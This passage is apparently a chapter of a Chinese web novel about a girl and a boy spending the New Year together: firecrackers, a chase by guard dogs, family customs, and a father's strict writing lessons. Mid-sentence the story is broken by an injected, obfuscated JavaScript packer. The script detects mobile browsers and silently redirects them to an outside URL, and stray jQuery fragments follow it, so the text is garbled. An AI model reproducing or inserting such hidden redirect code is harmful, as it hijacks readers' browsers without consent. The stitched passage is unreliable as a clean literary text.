方禾噎了一下，讷讷解释：“我只是怕遇见拐子……”
“那也别碰我。”江淮序却不听，只扭着身，手死死拢在袖里出去了。
方禾：……也罢。
她不再强求，只寸步不离跟着。
今日除夕，街上热闹得紧。还是清晨，街上便出了不少摊子，更有小贩挑着担叫卖，吃的玩的什么都有。俩人看的稀奇，走几步才挪一下。最终没有先去买炮竹，而是停在了磨喝乐摊子前。
过年卖的磨喝乐同平日相比更多了几分喜庆，红扑扑的娃娃抱着灯笼咧嘴笑，任谁看了都会忍不住跟着龇牙。
江淮序就停在了这儿。
他看了许久舍不得走，也不说话，只一个劲地摸。摊主瞧着好笑，便拿了送他：“小郎君，说句吉祥话，挑一个送你。”
“当真？”江淮序眼睛一亮，张口就来：“祝您新年有大吉，新年有大运，年年岁岁，金银有余。”
“好好，借小郎君吉言。”摊主笑眯了眼，摊手大方极了：“随意挑吧。”
果不然，他挑走了那个怀抱灯笼的磨喝乐，欢天喜地地走了。
方禾落后他半步，见状也没打扰，只在他走后上去付钱。摊主没收，爽朗地摆手，直说哪有骗小孩的道理。
末了竟还要送方禾一个，说算今日有缘。
方禾拗不过，只得收下。
不多久又带着江淮序回来，送了摊主两个炊饼。摊主这时正忙，俩人也不好走，便帮着包货。
不知不觉一上午就过去了，摊子也总算闲了下来，只是炊饼也凉了。
摊主倒不介意，一面啃着炊饼果腹，一面抓了几个铜子儿，红布包着递给她们，道：“喏，拿着，这是阿叔给你们的压祟钱。愿你们来年顺遂，一觉睡到大天亮。”
俩人不好意思收，最终还是摊主虎着脸塞到他们怀里。
俩人回到家，将这事儿告诉虞丽婉，虞丽婉笑着拍了拍他们肩膀，乐呵呵道：“我儿长大了。既是你们自己赚的压祟钱，我也不收，自留着买炮仗玩吧。”
除夕这日，家中实在宽泛，吃饱饭就能出去撒欢儿。
江淮序将铜子儿好生收进荷包，扒饭时还念着上午没买的炮仗。碗刚放下，一个猛子便要扎出去。好在虞丽婉手快扼住了他领子，生生将人拽了回来：“做什么？”
江淮序看了看虞丽婉，又看了看主位的江在云，缩缩脖子，讷讷道：“我要去买炮仗。”
许是怕挨骂，又开始扯虎皮：“今日除夕，你说可以玩炮仗的。更何况阿禾姐都答应我了。”
“？”刚吃完饭正用帕子擦嘴的方禾猛然对上三双眸子，有些懵。
江淮序看着她，追问：“阿禾姐，晨间你答应我要带我去买炮仗的，对也不对？”
这话确是她说的没错。只是这种顾左右而言他的法子……
方禾太熟悉了。
她眨了眨眼，硬着头皮接话：“对。”
“你瞧！”江淮序得意地对着虞丽婉摇头。
虞丽婉松了手，絮叨道：“又没说不让你去，急什么？年节拍花子多，你慢着些，等阿禾一起，好歹有个照应。”
末了又对着方禾叮嘱：“阿禾，你多看着点这皮猴，莫叫他跟去年一样，跟着杂货挑子被狗撵进了湖。”
“好。”方禾忍着笑点头，不待出门便忙追着问他：“还有这事？那杂货挑子有什么好东西，使你宁被狗撵都不跑开？”
江淮序别过头，不想理她。他能说是因为自己怕狗吗慌不择路吗？这多丢脸。
可偏偏这人烦得很，围着他叽叽喳喳，非要问到底。他恼得攘她：“你烦不烦！”
可巧，正好被陈杰舟王山他们瞧见，嘻嘻哈哈唱着：“哦，江淮序被媳妇惹生气喽！”
江淮序豁然扭头，厌恶地啐了声滚，后头也不回地就往前撞。
方禾慢了一步没抓住，她只瞧着大致方向，扭头对着身后的小鼻涕虫们道：“你们再乱说话，小心我告夫子，打你们手板。”
一群人里，她只认识王山，也知王山爹是个讲理的，便对着王山道：“王山，旁人我不管，只你，日后若再叫我听见这些话，定告诉你爹，叫你屁股开花。”
“你少唬他。”
王山还没说话，里面一个白白胖胖，着牡丹锦绣的小郎君便开了口：“你只告诉我，你是不是江淮序的童养媳？日后是不是要嫁给他？”
“是不是同你何干？便是日后我同他成亲，也不与你相干。”方禾啐了他一口，再不搭理，转身去寻江淮序。
方才还能瞧见他背影，不过被那锦绣小孩拦着说了一句话，便是再瞧不见影。方禾有些着急，担心他遇见拍花子。
可又想着正午刚过，天还大亮，便是胆子再大，也不敢光天化日拐人的。她心里默念着不要慌，朝最后瞧见他的方向寻去。
这是条冷清的巷子，可又意外的熟悉。
方禾想了许久，都没想起自己何时来过此处。直到瞧见那道新刷了黑漆的角门。
她陡然忆起，这是方员外家。
下一瞬，脸色惊变。
糟了！
方员外家可是养了狗的。足有四条，又不栓链子，平日就在后花园里溜达。她那日若再来晚些，怕是连爹爹尸体都难以保全。
序哥儿，你可莫要出事啊。
她四下寻人，片刻不敢松懈，一路都在提防那些恶犬。
巷子安静的可怕，方禾仿佛都能听见自己咚咚的心跳。她一面走一面安慰自己，这是好事，没有犬吠，说明序哥儿并未遇见恶犬。
这是好事。
她絮絮念着，可抬眼瞧见四只黑亮的恶犬呲着牙，盯着那道火团子时，心差点跳了出来。
“序哥儿。”
她想叫他，可又怕惊扰那些恶犬，只得压着声，显得又尖又低。
江淮序早就吓傻了，听见这声儿才感觉身上血又重新流动起来，就连木着的腿脚都有了知觉，他看着黑犬嘴角滴滴答答的口水，又惊又怕地压着声喊：“你快跑，别过来。”
方禾没说话，只解了身上雪披风拧成一股绳，怒喝一声“畜生”，砸着鞋咿咿呀呀地冲了过来。
她憋着一口气，手都舞出残影。刚摸到江淮序就头也不回地扯着他跑。
四条黑犬追在身后狂吠，此起彼伏，叫的人心里发慌。方禾压根不敢回头看，江淮序更不敢回头，只卯足了劲儿往前冲。
一口气跑出好几条街才敢停下。
俩人瘫坐在地上，一个赛一个地狼狈。
若不是出巷子时，方禾回头用鞋砸进了方家大院，有仆从开了角门拦下那几只黑狗，他俩还不一定跑的出来。
俩人坐了好久，久到太阳下山、街上灯笼都亮了还没动。
又过了一会儿，方禾看着灯笼越来越亮，想着虞丽婉该着急了，才道：“走吧。”
江淮序没说话，只侧着头看她。
“怎么了？”方禾同样侧头。
“你先走吧，我再坐会。”他抿着嘴，眼神躲闪。
方禾一眼就瞧出他在说瞎话，沉了声：“说实话。”
江淮序委屈地瞪了她一眼，半晌才道：“我腿软，走不动。”
方禾笑了，笑得腰都直不起来。眼瞧人快羞成灯笼了才止住笑，眨眨眼道：“好巧，我也是。”
江淮序猝然转头，不可置信地看着她，半晌才反应过来：“那你还笑我！”
“那你也笑我吧。”她抬起头，看着街对面道：“等那边卖出十个炊饼我们就走。”
江淮序也看了过去，瞧那摊主生意格外惨淡，便道：“他卖出两个我们就走。”
“好。”方禾笑着应下。
不多久，她起身，挪过去买了两个炊饼。
本还想买双鞋，可她瞧见了挑贩的炮仗和一些小玩意。想了想，将裙子往下拽了拽，发现能遮住脚，便省下来转而买了双响炮和地老鼠，又和挑贩磨了磨，花尽最后三个铜子买了个小玩意儿。
这才回到炊饼摊，坐在桌边就着桌上茶水吃了一个半炊饼，留了半个带回来，递给江淮序：“走吧。”
江淮序没接，只鼓着眼道：“我都看见了，你作弊！”
方禾瞥他一眼，问：“摊主是不是卖出了两个炊饼？”
“可那是你买的。”
“你又没说不准我买。”方禾翻了个白眼，将炊饼硬塞到他手里，背对着他蹲了下来。
江淮序捏着炊饼，半晌才讷讷出声：“我…我腿还是没劲。”
“我知道。”方禾回头拍了拍自己的背，笑道：“上来，阿姐背你。”
等了半晌没见他动，眼瞧这天儿越来越黑，方禾怕虞丽婉等着急，也不同他磨蹭，只扯着胳膊将人拽到背上，扛起就走。
许是不好意思，江淮序一路都没说话，过了许久才挤出一声“谢谢。”
见她没说话，半晌又唤她：“阿姐？”
“嗯？”方禾回头看他，眼神询问他有什么事。
江淮序别过头，小口掰着饼，讷讷保证：“阿姐，我以后再也不乱跑了。”
“嗯。”
“阿姐，狗鼻子那么灵，它们不会再追上来吗？”
“没事，阿姐在呢。”顿了顿又道：“若下次再遇见这种恶犬，可同我一样唤出主人来，它便不敢凶了。”
“好。”江淮序点点头，将最后一块饼塞进嘴里，手搂紧她脖子，语气里还带着颤：“阿姐，我还是有点怕。”
方禾回头看他，半晌才道：“你先下来。”
江淮序不解但还是顺从地从她背上爬了下来，方站稳手里便被塞得满满当当，都要溢出来。低头一瞧，才发现是炮仗，登时眼睛都亮了。
方禾瞧着好笑，从他手里拿出一个双响炮，借了路边灯笼的火，扔到空巷子里。
登时惊雷炸响。
她扭头，看着身旁吓一哆嗦的江淮序道：“怕吗？”
江淮序诚恳地点点头。方禾又笑了：“怕就对了。若日后再遇见害怕的东西，你就拿炮炸它。连年兽恶鬼都怕的炮仗，还赶不走一条狗么？”
这话听得江淮序一愣一愣的，他也点了一个，扔出去。轰响之中，心里竟格外安静。仿似被吓走的魂又回来了。他捏着手里炮仗，许久才应了声“好。”
瞧他脸上有了血色，方禾心下也安定许多，便又蹲下来背他。
不想这次却拉了个空。她抬眼，不解回头。
小郎君离她半步远，低着头，耳朵尖红扑扑的。
“我自己走吧。”他说。
方禾闻言侧了头，问：“有力气了？”
“嗯。”见他点头，方禾也不为难自己，站起来捋了捋裙摆，俩人并肩而走。
路上碰见有人卖花，方禾捏了捏自己空瘪瘪的荷包，遗憾地砸吧了嘴。余光瞥见一旁东张西望的江淮序身上，眼睛咕噜一转便凑了过来，问他：“你还有钱吗？”
江淮序点点头，扯下腰间荷包递给她，诚实地不像话：“都在这了。”
这般老实，方禾反有些不自在。她只捡了两枚铜子儿，剩下的都还给他。这才去花贩那挑挑拣拣买了朵红山茶，一转头正好瞧见过来凑热闹的江淮序，顺手就插了上去。
江淮序一句“你喜欢花呀”还没说完，就感觉自己头上多了个东西，愣愣抬手，讶异道：“送我的？”
“嗯。”方禾点点头，满意地不得了：“你带花好看。”
恰好此时街上有人放烟火，五颜六色的烟火在空中炸开，绚丽又耀眼。
绚烂之中，方禾将一直藏着的小玩意塞给他，笑着道：“序哥儿，过年啦，开心点儿。”
江淮序抬头，正好撞见她眼底刹那烟火，璀璨夺目。不知怎的，他竟从她身上看出万般芳华来。
心下一惊，急忙低头，又被手里崭新的鲁班锁迷了视线。对着方禾温和的笑眼，他张了张嘴，半天才道：“回家吧，娘该等急了。”
方禾笑了笑：“好。”
回家路上，俩人都没怎么说话。只在路过一个鞋挑子时，江淮序突然开了口：“阿姐，我给你买双鞋吧。”
方禾低头瞧了瞧已经变成黑色的白袜，没拒绝。
只两人兜比脸干净，压根买不起棉绣鞋，最终只买了双合脚的单鞋。
方禾倒是没什么，就是江淮序一路低着头，不知道在想什么。起初她还以为他是嫌钱花没了心疼，只到临进门时被喊住才知晓，这小子，心思多着呢。
“阿姐。”江淮序叫住她，捏着拳头承诺：“日后我一定给你买双好鞋。”
方禾被他这正经模样吓到，本想说算了，可瞧他眼底郑重，怔了片刻才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144424|196369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道：“好，我等着。”
虽是这般说，方禾确没当回事。她只是为了宽小孩心罢了。没见她说完，江淮序那快打结的眉头瞬间就解了一半吗？
……
除夕这夜，格外热闹。
屋外烟火不断，隔着一道院门，还能听见外面小孩乐呵呵的笑。几人就在这样的热闹中，吃了今年的团圆饭。饭后，虞丽婉又从屋里拿了一兜子大爆竹出来。
方禾认得，这是前几日她陪着阿婶去买的。据说这些爆竹到天上时，五颜六色不说，还会炸出各种各样的纹样呢。
她忙拎着裙子跟着出去，一面哈手一面期待地看着虞丽婉点火。
第一枚“咻”地窜上天，在空中炸出一朵金桂。虞丽婉笑呵呵道：“这叫蟾宫折桂。序哥儿，你不是要参加明年院试呢？祝你心想事成，早日折桂。”
本是吉祥话，江在云却陡地笑了出来，顶着虞丽婉刀剐般的眼神笑吟吟打趣：“蟾宫折桂指的是中状元，序哥儿不过是考个秀才，你这太过，太过。”
“你怎知我序哥儿就不能一路考到状元？”虞丽婉不服叉腰，非要同他辩驳，末了又对江淮序道：“序哥儿你努把力，到时定要叫你爹爹刮目相看！”
说话间，又是一声炸响。这回竟是个盛放的红牡丹，几人瞬间被牵走眼神，只抬头望着空中，期待着下一束烟火。
最终，是以一个红彤彤的团字结束的。
回屋时，虞丽婉还有些意犹未尽，一面走一面夸“真值当”，还说明年再去他家买。
方禾跟在后面，不由地，也有些期待。
除夕是要守岁的。
为节省柴火，便只在正屋点了两个火盆，棉帘子一放，暖和的很。四人围坐着，火盆炭灰里还埋了两根白萝卜，等外皮烤焦了里面还是水嫩嫩的，又热乎，可好吃了。
起初江淮序还兴致勃勃，毕竟每年只有除夕爹爹才不管他写字，他尽可疯玩的。可烛芯挑了两遍，游僧的梆子敲到三更时，他再是熬不住。眼皮眨呀眨，眨呀眨，“砰”地栽到了桌子上。
一旁正在和方禾绣花样的虞丽婉听见响，抬眼一瞧，笑的直摇头。便是书不离手的江在云也暂时搁下了书，抱他回房去睡。
瞧着天也不早了，虞丽婉收了花样，让方禾也去歇歇，自己则去了灶下。
方禾知道她是去做什么。按照习俗，每年初一五更天，要在院里刨个小坑，将面团捏的假蛇、煮熟的黑豆子并一个熟鸡蛋放进去，一面填土踩实，一面念“蛇行则病行，黑豆生则病行，鸡子生则病行”，寓意在新的一年，家人可以远离疾病，健康平安。
果然，梆子敲到五更时，方禾迷迷糊糊听到院里有动静。
她将窗户开了条缝，瞧见虞丽婉双眼紧闭，虔诚地很，嘴里嘟嘟囔囔念着蛇啊豆啊鸡啊什么的。她笑了笑，穿衣起身给里间供奉的爹爹牌位上了三炷香，这才出门。
初一是要起早的。否则门口带着鬼面具的乞丐们敲不开门，未来一年都过不好。
给敲门的鬼面乞丐抓了年果子，又塞了几个铜子儿，欢欢喜喜将人送走，得了“驱邪避鬼，来年顺遂”的喜头，虞丽婉这才敲锣打鼓地将人都喊起来吃早食。
只是在吃早食前，还需将门上的旧桃符和钟馗像换了。
往年都是江在云自己写桃符，今年着实咳地厉害，连笔都跟着打颤。虞丽婉心疼，大手一挥，索性让俩小的一起写，到时由江在云挑着挂。
方禾倒是没意见，只江淮序扭扭捏捏，半晌才下笔。
她偷偷看了一眼，瞬间了然。原是被自己那手鸡爪字儿臊的。
显然江在云也是这般。
他捏着自家儿写的桃符看了又看，数度抬眼，欲言又止。默了默撂在一旁，批了句：“毫无长进。”后又对着方禾道：“阿禾的字又精进了，相比之前，笔墨更加圆融。你这手行楷，已有所成，再接再厉。”
他是看过方禾写给方老秀才的表文的，那时她的字便已算不错，如今更加精进，可见这两个月是下了功夫的。
方禾谦虚谢过。
最终江在云还是各择一块凑成一对挂在了院门上，说让江淮序日日看着，看他知不知羞。
江淮序本还有些心虚，可这一骂再骂，心里反只剩下恼火。
他回到屋里，气的将前几日才写完，欲给江在云看的字一把撕掉，坐在椅子上半天没出门。
虞丽婉有心调和，可也知学问一道，江在云不可能让步。只得日日变着花样，旁敲侧击地让他过年给孩子些好脸。
父子俩就这样僵持到年假结束，直到江淮序背着书箱去县学，俩人也没说上句软话。
虞丽婉无奈，除了叹气便只是叹气。方禾想了想，回房磨墨。待晚间江在云下衙时，故作不解，寻他讨教。
江在云自是无有不应的。只他说完，低头瞧见方禾了然的眼神时陡然反应过来，这哪是找他讨教，分明是劝他如孔夫子对子路般，因材施教，而非一律苛责。
“你呀你。”江在云笑着点了点手指，背过身转了两圈，长叹道：“是我着相了，竟不如你一个小孩通透。你先回去吧，我会仔细思量思量。”
方禾却是没动，只展臂作揖，道：“阿叔大度，不怪阿禾多嘴。可阿禾还有一句，望阿叔勿怪。”
“你说。”江在云转身，冲她担了担手。
方禾直起身，道：“阿叔，你我都是练过字的，自然知晓练字非一日之功。我三岁习字，得爹爹指导多年，方有今日小成。单是行楷一道，我便走了八年。”她抬眼，看着眼前人，定定出声：“可序哥儿如今，也才八岁。”
剩下的话她没再说，只行礼告退。
她走后，江在云站了许久。
还是虞丽婉进屋才叫他回神。他将手中皱巴的纸展开，看了又看，后又转身同虞丽婉说话：“明日寻个木匠，将书案再拓宽些。”
不待虞丽婉反应过来，他又道：“日后我亲自教导序哥儿练字。”
一瞬间，虞丽婉心里只有两个字：完了。
这下当真是要练满一个时辰，半分松快不得了。
她替江淮序提着心，殊不知江淮序自己也窝着火。
直到这日晨课，陈杰舟王山又凑到他面上，叽叽喳喳不堪入耳，他再也忍不住，拍桌怒斥：“谁同你们说的这些混账话？”